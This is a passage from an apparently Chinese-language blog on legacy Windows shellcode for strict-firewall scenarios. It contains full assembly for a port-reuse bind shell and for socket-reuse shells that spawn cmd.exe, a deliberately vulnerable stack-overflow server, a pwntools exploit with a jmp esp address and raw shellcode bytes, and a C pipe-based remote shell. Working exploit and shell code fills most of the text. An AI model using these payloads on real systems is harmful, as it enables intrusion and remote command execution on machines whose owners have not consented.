push eax ; TRUE
dec eax
push eax ; NULL
push eax ; NULL
push edi ; "cmd"
push eax ; NULL
mov eax, [ebp-0xc] ; `CreateProcessA`
call eax

.end:
add esp, 0x21c
popad
ret

以上程序使用fasm在Windows 7 Ultimate SP3 X64编译通过,并且测试成功:

image-20200521025740911


updated on 20200604:

非常远古的one-way shellcode的技巧

下面讲几个最近实现的比较远古的windows下shellcode的技巧。具体有多远古,可以看这篇文章History and Advances in Windows Shellcode,发表于2004年6月,可想而知有多远古了。

假想一个非常严格的场景,只允许连接特定端口的流量进入,不允许主动发起对外的连接。这样的话,直接就把常规的bind shell和reverse shell给否决了。可能有人会去想,尝试一下常见的443,21,53端口,一般这种常用服务的端口都是放行的。但是我这里假设的是极限场景,也就是只有一个通道能够实现数据传输。那怎么办?

端口复用

端口复用?是一种方法。可是怎么复用?当语言下沉到汇编级别的时候,似乎很复杂,但是sk给了答案,只需要在调用WSASocket之后,调用bind之前,调用setsockopt函数将socket handler的选项设置为SO_REUSEADDR即可,具体可以查看msdn的网站

Value Type Description
SO_REUSEADDR BOOL Allows the socket to be bound to an address that is already in use. For more information, see bind. Not applicable on ATM sockets.

setsockopt函数的调用约定在这里可以查看:

1
2
3
4
5
6
7
int setsockopt(
SOCKET s,
int level,
int optname,
const char *optval,
int optlen
);

只需要将optname设置为SO_REUSEADDR即可。SO_REUSEADDR的值在winsock2.h中定义为:

1
#define SO_REUSEADDR 0x0004

剩下的都是常规的bind shell操作了,这里不做赘述。附上汇编代码,为了省事,我直接用了xp sp2中的绝对内存地址,所以大概率在其他机器上是无法使用的,只做个人记录使用。另外我会在最后附上一个动态获取所有所需函数地址的汇编,只不过不是用于当前这个技巧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
;oneway_port_reuse.asm
section .text
global _start
_start:
; I hardcoded all the function calls. If needed, can retrieve them dynamically.
push ebp
mov ebp, esp
sub esp, 0x40 ; lift up stack

; WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
push 0
push 0
push 0
push 0x6
push 0x1
push 0x2
mov eax, 0x71AB8769
call eax
mov [ebp-0x4], eax ; servSock2 is at ebp-0x4

; setsockopt(servSock2,0xffff,4,const char *,4);
push 0x4
mov word [ebp],0x2
push ebp
push 4
push 0xffff
push dword [ebp-0x4]
mov eax, 0x71AB3EA1
call eax

; bind(servSock2, (SOCKADDR*)&sockAddr2, sizeof(SOCKADDR));
xor ecx, ecx
push ecx
push ecx
push 0x9817a8c0 ; ip
push word 0xE110 ; port
push word 0x02 ; AF_INET
mov edi, esp ; address of sockaddr struct
push 0x10 ; sizeof(server)
push edi ; (SOCKADDR*)&server
push dword [ebp-0x4] ; servSock2
mov eax, 0x71AB3E00
call eax

; listen(servSock2,20)
push 0x14
push dword [ebp-0x4]
mov eax, 0x71AB88D3
call eax

; accept(servSock2, (SOCKADDR*)&clntAddr2, &nSize)
mov dword [ebp], 0x10
sub esp, 0x10
mov eax, esp
push ebp
push eax
push dword [ebp-0x4]
mov eax, 0x71AC1028
call eax
mov [ebp-0x8], eax ; clntSock2 is at ebp-0x8

; CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
push eax
push eax
push eax
xor ebx, ebx
mov ecx, 0x12
.pushloop:
cmp ecx, 0
je _start.pushdone
push ebx
sub ecx, 0x1
jmp _start.pushloop
.pushdone:
mov ecx, esp ; ecx points to pinfo
lea edx, [esp+0x10] ; edx points to sinfo
mov dword [edx+0x0], 0x44 ; cb
mov dword [edx+0x2c], 0x100 ; dwFlags
push 0x00646d63 ; "cmd"
mov edi, esp ; edi points to "cmd"
xor eax, eax
push ecx ; pinfo
push edx ; sinfo
push eax ; NULL
push eax ; NULL
push eax ; NULL
inc eax
push eax ; TRUE
dec eax
push eax ; NULL
push eax ; NULL
push edi ; "cmd"
push eax ; NULL
mov eax, 0x7C802367
call eax

关闭当前socket再bind到放行端口

很直白了,这个技巧并没有在上面那篇文章中提到,可能是觉得我这个方法太低端了。有一个坑点是我发现在调用closesocket关闭socket以及调用WSACleanup做清理之后,使用netstat -ano会发现端口仍在监听。需要等一段时间这个端口才会真正关闭。所以我在调用WSACleanup之后,会再次调用Sleep来等待一段时间,然后才是执行bind shell的shellcode。这里代码就不放了

重用当前socket来作为命令IO

太晚了,先鸽着。


updated on 20200607:

总算决定来写剩下的这一部分了,先写一段示例代码,vuln.cpp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib")

#define BUF_SIZE 1000

void vuln(char *buffer, int bufLen) {
char tmp[20];
// get rid of the harassment in avoiding null characters
memcpy(tmp, buffer, bufLen);
return;
}


int main(){
WSADATA wsaData;
WSAStartup( MAKEWORD(2, 2), &wsaData);

SOCKET servSock = socket(AF_INET, SOCK_STREAM, 0);
//SOCKET servSock = WSASocketA(2, 1, 6, NULL, 0, 0);

sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
sockAddr.sin_family = PF_INET;
sockAddr.sin_addr.s_addr = inet_addr("0.0.0.0");
sockAddr.sin_port = htons(1234);
bind(servSock, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));

listen(servSock, 20);

SOCKADDR clntAddr;
int nSize = sizeof(SOCKADDR);
SOCKET clntSock = accept(servSock, (SOCKADDR*)&clntAddr, &nSize);
char buffer[BUF_SIZE];
int strLen = recv(clntSock, buffer, BUF_SIZE, 0);
if (strLen) {
vuln(buffer, strLen);
}
send(clntSock, buffer, strLen, 0);

closesocket(clntSock);
closesocket(servSock);

WSACleanup();

return 0;
}

很显然的vuln函数存在栈溢出漏洞,那么假设防火墙十分严格,只允许1234端口的连接,我该如何使用现有的socket来完成命令IO?


updated on 20200608:

如果有仔细看上面写的reverse shellcode的话,会发现我在调用CreateProcess的时候,将传入的lpStartupInfohStdInputhStdOutputhStdError全部设为socket即可。这很符合常识,把socket当作一个水管,如果将cmd的stdin,stdout,stderr全部连接到这个水管上,那么用户给服务端发送的数据会很自然的通过这个水管流入cmd进程的输入里,而cmd进程的输出也会通过这个水管流向用户。

很自然的写出下面的shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
section .text
global _start
_start:
mov ebp, esp
sub esp, 0x18
; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00007373
push 0x65726464
push 0x41636f72
push 0x50746547
mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8

mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

; find the address of GetProcAddress
xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-8] ; esi points to "GetProcAddress"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end
.found:
; the counter (eax) now holds the position of GetProcAddress

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress`
add eax, ebx ; eax holds the address of the target function `GetProcAddress`
add esp, 0x28
push eax ; address of `GetProcAddress` is at ebp-0x08

; use GetProcAddress to find the address of CreateProcessA
push 0x00004173
push 0x7365636f
push 0x72506574
push 0x61657243 ; "CreateProcessA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
call eax ; call "GetProcAddress" to get the address of CreateProcessA
add esp, 0x10 ; stack rebase
push eax ; address of `CreateProcessA` is at ebp-0xc

; CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
push dword [ebp] ; si.hStdError = socket
push dword [ebp] ; si.hStdOutput = socket
push dword [ebp] ; si.hStdInput = socket
xor ebx, ebx
mov ecx, 0x12
.pushloop:
cmp ecx, 0
je _start.pushdone
push ebx
sub ecx, 0x1
jmp _start.pushloop
.pushdone:
mov ecx, esp ; ecx points to pinfo
lea edx, [esp+0x10] ; edx points to sinfo
mov dword [edx+0x0], 0x44 ; cb
mov dword [edx+0x2c], 0x100 ; dwFlags
push 0x00646d63 ; "cmd"
mov edi, esp ; edi points to "cmd"
xor eax, eax
push ecx ; pinfo
push edx ; sinfo
push eax ; NULL
push eax ; NULL
push eax ; NULL
inc eax
push eax ; TRUE
dec eax
push eax ; NULL
push eax ; NULL
push edi ; "cmd"
push eax ; NULL
mov eax, [ebp-0xc] ; `CreateProcessA`
call eax

.end:

在将其转换成shellcode之后很容易写出下面的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

r = remote("192.168.23.152",1234)
buf = "A"*28
# this will overwrite ebp to 0x22ff0401
buf += "\x01\x04\xff\x22"

#0x77f31678 : jmp esp | {PAGE_EXECUTE_READ} [GDI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180
buf += "\x78\x16\xf3\x77"

buf += asm("shr ebp, 0x8") # ebp = 0x0022ff04, so that socket is at [ebp+0x4]
buf += asm("push [ebp+0x4]") # push the socket
buf += "\x89\xe5\x83\xec\x18\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x31\xf6\x56\x68\x73\x73\x00\x00\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65\x74\x50\x89\x65\xf8\x89\x5d\xfc\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x50\x14\x8b\x48\x1c\x01\xd9\x89\x4d\xec\x8b\x48\x20\x01\xd9\x89\x4d\xf0\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x31\xc0\x8b\x7d\xf0\x8b\x75\xf8\x31\xc9\xfc\x8b\x3c\x87\x01\xdf\x66\x83\xc1\x0e\xf3\xa6\x74\x0a\x40\x39\xd0\x72\xe5\x83\xc4\x24\xeb\x79\x8b\x4d\xf4\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x83\xc4\x28\x50\x68\x73\x41\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\xff\x75\xfc\xff\xd0\x83\xc4\x10\x50\xff\x75\x00\xff\x75\x00\xff\x75\x00\x31\xdb\xb9\x12\x00\x00\x00\x83\xf9\x00\x74\x06\x53\x83\xe9\x01\xeb\xf5\x89\xe1\x8d\x54\x24\x10\xc7\x02\x44\x00\x00\x00\xc7\x42\x2c\x00\x01\x00\x00\x68\x63\x6d\x64\x00\x89\xe7\x31\xc0\x51\x52\x50\x50\x50\x40\x50\x48\x50\x50\x57\x50\x8b\x45\xf4\xff\xd0"

r.send(buf)
r.interactive()
r.close()

有兴趣的同学可以看一下上面的exp,其中有一个小技巧,解答了我在The art of short shellcode - 短shellcode的艺术中最后留下的其中一个问题。这里就不赘述了。

用这个exp来给服务器来一发,事与愿违,并没有得到reverse shell

image-20200609031829294

事实上用ollydbg跟踪到最后create CreateProccessA之后,eax中的值为1,也就是创建进程是成功的。

image-20200609032215856

说明问题不出在CreateProcessA上。那问题出在哪里?


updated on 20200610:

细心的小伙伴可能会注意到在我的vuln.cpp中有这么一行注释掉了,SOCKET servSock = WSASocketA(2, 1, 6, NULL, 0, 0);,那么这一行和上面一行SOCKET servSock = socket(AF_INET, SOCK_STREAM, 0);有什么区别?在msdn网站上有相关说明:

The WSASocket function causes a socket descriptor and any related resources to be allocated and associated with a transport-service provider. Most sockets should be created with the WSA_FLAG_OVERLAPPED attribute set in the dwFlags parameter. A socket created with this attribute supports the use of overlapped I/O operations which provide higher performance. By default, a socket created with the WSASocket function will not have this overlapped attribute set. In contrast, the socket function creates a socket that supports overlapped I/O operations as the default behavior.

而在History and Advances in Windows Shellcode一文中也有说明:

It is important to note that we are using WSASocket() and not socket() to create a socket. Using WSASocket will create a socket that will not have an overlapped attribute. Such socket can be use directly as a input/output/error stream in CreateProcess() API. This eliminates the need to use anonymous pipe to get input/output from a process which exist in older shellcode.

简单的说,就是使用socket默认创建的socket无法作为其他程序的输入输出流,但是WSASocket() 创建的可以。事实是不是这样呢?把SOCKET servSock = WSASocketA(2, 1, 6, NULL, 0, 0);的注释删除,再把SOCKET servSock = socket(AF_INET, SOCK_STREAM, 0);注释掉,重新编译一个exe,再次尝试exp,会发现这次成功了。

image-20200609033942250

虽然vuln.exe本身崩溃了,但是CreateProcessA创建的进程还是成功了,并且可以和远程客户端进行交互。

image-20200609034104687

那么再回到程序本身,如果程序用的就是socket函数,而且防火墙只允许入站应用程序本身的端口,除了端口复用bind shell以外,能不能用这个socket来实现reverse shell的数据交换呢?答案是肯定的,只是更加的麻烦而已。

而在History and Advances in Windows Shellcode一文中也有说明:

This eliminates the need to use anonymous pipe to get input/output from a process which exist in older shellcode.

提到了使用匿名管道,但是没有说具体操作方法。事实上文章中有提到说附件中的reverse.asm中有相关的汇编程序,然而这篇文章的附件我一直找不到下载。

但是不难找到这么一个比较古老的使用socket函数创建套接字并且实现reverse shell的cpp程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"ws2_32")

int main(void) {
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

WSAStartup(MAKEWORD(2,2),&ws);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(1234);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//create first pipe,for cmd.exe to write the output to
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//create second pipe,for cmd.exe to read the input from
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;

while(1) {
ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
// if first pipe has output, read it and send to client
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
} else {
// otherwise, receive the command from the client
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
// write the command to the second pipe, which is the stdin of cmd.exe
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}

程序逻辑很清晰明了了,创建两个匿名管道,一个连接cmd.exe的输出端,称之为pipe1,一个连接cmd.exe的输入端,称之为pipe2;这样可以让程序本身通过socket的recv来接收用户的命令,再使用WriteFile函数将命令写入到pipe2;或者通过PeekNamedPipe函数来观测连接cmd.exe的输出端pipe1是否有输出,如果有,通过ReadFile函数将输出读出来,然后使用send来将输出发送给用户。

大概就这么个意思:灵魂画手别介意

image-20200609214056934

上面的图画烦了,直接上汇编代码吧,不过还是要把栈布局说一下的,这回聪明了,用excel表格弄了一个

image-20200609214232572

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
; oneway_reverse.asm
; suppose the socket is saved as the [ebp] at the beginning of the shellcode.
section .text
global _start
_start:
push ebp
mov ebp, esp

sub esp, 0x18 ; lift up stack, reserve space for local variables

; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00007373
push 0x65726464
push 0x41636f72
push 0x50746547
mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8

mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

; find the address of GetProcAddress
xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-8] ; esi points to "GetProcAddress"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end
.found:
; the counter (eax) now holds the position of GetProcAddress

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress`
add eax, ebx ; eax holds the address of the target function `GetProcAddress`
add esp, 0x28
push eax ; address of `GetProcAddress` is at ebp-0x08

; use GetProcAddress to find the address of CreateProcessA,LoadLibraryA,Createpipe,PeekNamedPipe,ReadFile and WriteFile
push 0x00004173
push 0x7365636f
push 0x72506574
push 0x61657243 ; "CreateProcessA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
call eax ; call "GetProcAddress" to get the address of CreateProcessA
add esp, 0x10 ; stack rebase
push eax ; address of `CreateProcessA` is at ebp-0xc

xor eax, eax
push eax ; null termination
push 0x41797261
push 0x7262694c
push 0x64616f4c ; "LoadLibraryA"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of LoadLibraryA
add esp, 0x10 ; stack rebase
push eax ; address of `LoadLibraryA' is at ebp-0x10

push 0x00006570
push 0x69506574
push 0x61657243 ; "CreatePipe"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of CreatePipe
add esp, 0x0c ; stack rebase
push eax ; address of `CreatepPipe` is at ebp-0x14

push 0x00000065
push 0x70695064
push 0x656d614e
push 0x6b656550
push esp ; "PeekNamedPipe"
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax
add esp, 0x10 ; stack rebase
push eax ; address of `PeekNamedPipe` is at ebp-0x18

xor eax, eax
push eax
push 0x656c6946
push 0x64616552 ; "ReadFile"
push esp ; "ReadFile"
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of ReadFile
add esp, 0xc ; stack rebase
push eax ; address of `ReadFile` is at ebp-0x1c

push 0x00000065
push 0x6c694665
push 0x74697257 ; "WriteFile"
push esp
push dword [ebp-0x4] ; base address of kernel32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of WriteFile
add esp, 0xc ; stack rebase
push eax ; address of `WriteFile` is at ebp-0x20

; use LoadLibraryA to load ws2_32.dll and get the base address
push 0x00006c6c
push 0x642e3233
push 0x5f327377 ; "ws2_32.dll"
push esp
mov eax, [ebp-0x10]
call eax ; call "LoadLibraryA" to load ws2_32.dll
add esp, 0xc ; stack rebase
push eax ; base address of ws2_32.dll is at ebp-0x24

; use GetProcAddress to find the address of send and recv
xor ebx, ebx
push ebx
push 0x646e6573 ; "send"
push esp
push dword [ebp-0x24] ; base address of ws2_32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of send
add esp, 0x8 ; stack rebase
push eax ; address of `send` is at ebp-0x28

xor ebx, ebx
push ebx
push 0x76636572 ; "recv"
push esp
push dword [ebp-0x24] ; base address of ws2_32.dll
mov eax, [ebp-0x8]
call eax ; call "GetProcAddress" to get the address of recv
add esp, 0x8 ; stack rebase
push eax ; address of `recv` is at ebp-0x2c

; lift up stack to reserve space for hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2
; hReadPipe1 is at ebp-0x30
; hWritePipe1 is at ebp-0x34
; hReadPipe2 is at ebp-0x38
; hWritePipe2 is at ebp-0x3c
sub esp, 0x10

; for pipeattr1
; pipeattr1 is at ebp-0x48
push dword 0x1
push dword 0x0
push dword 0xc

; for pipeattr2
; pipeattr2 is at ebp-0x54
push dword 0x1
push dword 0x0
push dword 0xc

; CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
push dword 0
lea eax, [ebp-0x48]
push eax
lea eax, [ebp-0x34]
push eax
lea eax, [ebp-0x30]
push eax
mov eax, [ebp-0x14]
call eax

; CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
push dword 0
lea eax, [ebp-0x54]
push eax
lea eax, [ebp-0x3c]
push eax
lea eax, [ebp-0x38]
push eax
mov eax, [ebp-0x14]
call eax

; CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
push dword [ebp-0x34] ; si.hStdError = hWritePipe1
push dword [ebp-0x34] ; si.hStdOutput = hWritePipe1
push dword [ebp-0x38] ; si.hStdInput = hReadPipe2;
xor ebx, ebx
mov ecx, 0x12
.pushloop:
cmp ecx, 0
je _start.pushdone
push ebx
sub ecx, 0x1
jmp _start.pushloop
.pushdone:
mov ecx, esp ; ecx points to pinfo
lea edx, [esp+0x10] ; edx points to sinfo
mov dword [edx+0x0], 0x44 ; cb
mov dword [edx+0x2c], 0x100 ; dwFlags
push 0x00646d63 ; "cmd"
mov edi, esp ; edi points to "cmd"
xor eax, eax
push ecx ; pinfo
push edx ; sinfo
push eax ; NULL
push eax ; NULL
push eax ; NULL
inc eax
push eax ; TRUE
dec eax
push eax ; NULL
push eax ; NULL
push edi ; "cmd"
push eax ; NULL
mov eax, [ebp-0xc] ; `CreateProcessA`
call eax

; PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0)
sub esp, 0x8 ; reserve space for lBytesRead, at ebp-0xb4
sub esp, 0x1000 ; reserve space for Buff, at ebp-0x10b4
.peeknamedpipe:
push 0
push 0
lea eax, [ebp-0xb4]
push eax
push 0x1000
lea eax, [ebp-0x10b4]
push eax
push dword [ebp-0x30]
mov eax, [ebp-0x18]
call eax
mov eax, [ebp-0xb4]
cmp eax, 0
jnz _start.readfile

; recv(clientFD,Buff,1024,0);
push 0x0
push 0x1000
lea eax, [ebp-0x10b4]
push eax
push dword [ebp+0x4] ; socket
mov eax, [ebp-0x2c] ; recv
call eax

; WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
push 0
lea ebx, [ebp-0xb4]
push ebx
push eax
lea eax, [ebp-0x10b4]
push eax
push dword [ebp-0x3c]
mov eax, [ebp-0x20]
call eax
jmp _start.peeknamedpipe

.readfile:
; ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
push 0
lea eax, [ebp-0xb4]
push eax
push dword [ebp-0xb4]
lea eax, [ebp-0x10b4]
push eax
push dword [ebp-0x30]
mov eax, [ebp-0x1c]
call eax

; send(clientFD,Buff,lBytesRead,0);
push 0
push dword [ebp-0xb4]
lea eax, [ebp-0x10b4]
push eax
push dword [ebp+0x4]
mov eax, [ebp-0x28]
call eax
jmp _start.peeknamedpipe

.end:

这篇文章估计写到这里就结束了。。。就不留思考题了。